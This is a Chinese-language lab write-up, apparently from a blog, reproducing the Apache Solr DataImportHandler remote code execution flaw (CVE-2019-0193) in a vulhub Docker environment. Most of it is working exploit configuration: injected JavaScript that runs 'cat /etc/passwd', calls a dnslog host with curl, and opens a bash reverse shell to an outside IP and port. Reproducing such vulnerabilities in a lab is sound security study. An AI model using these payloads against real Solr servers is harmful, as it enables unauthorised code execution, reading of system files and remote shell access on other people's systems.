Apache Solr RCE(CVE-2019-0193)--vulhub

Apache Solr RCE(CVE-2019-0193)

其原理主要基于Solr的DataImportHandler(数据导入处理器)模块,这个模块允许用户通过配置文件(dataConfig)来定义数据的导入过程,在dataConfig中,用户可以定义JavaScript函数来转换或处理数据。如果这些脚本没有得到适当的限制,攻击者可以利用这一点执行任意代码。

Apache Solr版本小于8.2.0

docker搭建需要额外一步

bash 复制代码
docker compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db  -force

漏洞复现

原始poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/ccc9wy");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

实现不了,更新了,但文件没创建

RCE

先在本机搭一个poc.xml

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

调整一下poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

抓个包查看一下,执行poc时抓包

放到重发器中可以看到命令执行结果

使用dnslog测试

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("curl n6xis3.dnslog.cn").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

执行后成功收到结果

反弹shell

bash 复制代码
/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1

完整poc

复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.200.131/6666<&1").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://192.168.1.250/poc.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

成功获取反弹shell

相关推荐
Johny_Zhao2 小时前
2025年6月Docker镜像加速失效终极解决方案
linux·网络·网络安全·docker·信息安全·kubernetes·云计算·containerd·yum源·系统运维
ALLSectorSorft3 小时前
上门服务小程序会员系统框架设计
小程序·apache
杨过姑父4 小时前
部署开源版禅道,修改apache端口无效解决
bug·apache·软件工程·issue
酷爱码5 小时前
Spring Boot 整合 Apache Flink 的详细过程
spring boot·flink·apache
痴人说梦梦中人7 小时前
SwaggerFuzzer:一款自动化 OpenAPI/Swagger 接口未授权访问测试工具
网络安全·渗透测试·自动化·api测试·漏洞利用·信息搜集
lubiii_8 小时前
SQL手工测试(MySQL数据库)
数据库·mysql·web安全·网络安全
网安INF13 小时前
ElGamal加密算法:离散对数难题的安全基石
java·网络安全·密码学
网安INF21 小时前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞
lubiii_1 天前
墨者学院-密码学实训隐写术第二题
web安全·网络安全·密码学